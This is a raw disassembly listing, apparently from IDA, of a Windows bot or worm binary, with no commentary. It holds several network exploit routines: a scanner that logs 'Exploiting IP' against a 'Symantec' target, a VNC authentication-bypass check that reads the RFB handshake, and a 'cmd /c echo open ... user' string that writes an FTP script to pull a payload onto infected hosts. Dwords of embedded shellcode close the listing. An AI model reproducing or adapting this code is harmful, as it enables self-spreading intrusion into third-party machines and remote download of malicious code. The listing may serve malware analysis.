		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		nop
		call	near ptr 269040Ah
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA6C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA6C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE704
		nop
		call	near ptr 2720000h
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE6F8
		nop
		call	near ptr 2710000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA0015h
		dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
		dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE6FCh
		dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 99E890B4h, 50023315h, 0E6FC35FFh,	0E890004Ch
		dd 233158Ch, 0CDE89050h, 8D02330Fh, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
		dd 7DE85700h, 90022712h, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 1428E890h, 45890228h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 1410E850h, 6A900228h, 0F04589FFh
		dd 90D875FFh, 291673E8h, 75FF5702h, 1D76E8F0h, 57900229h
		dd 0E8EC75FFh, 2291D6Ch, 0F075FF90h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 321A07E8h, 35FF02h, 0FF004CE7h, 435FFD6h
		dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E710A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h
		dd 8B022E0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
		dd 5959FFFFh, 0D1E89056h, 68022E0Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE710h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Eh, 0FC15FF57h
		dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
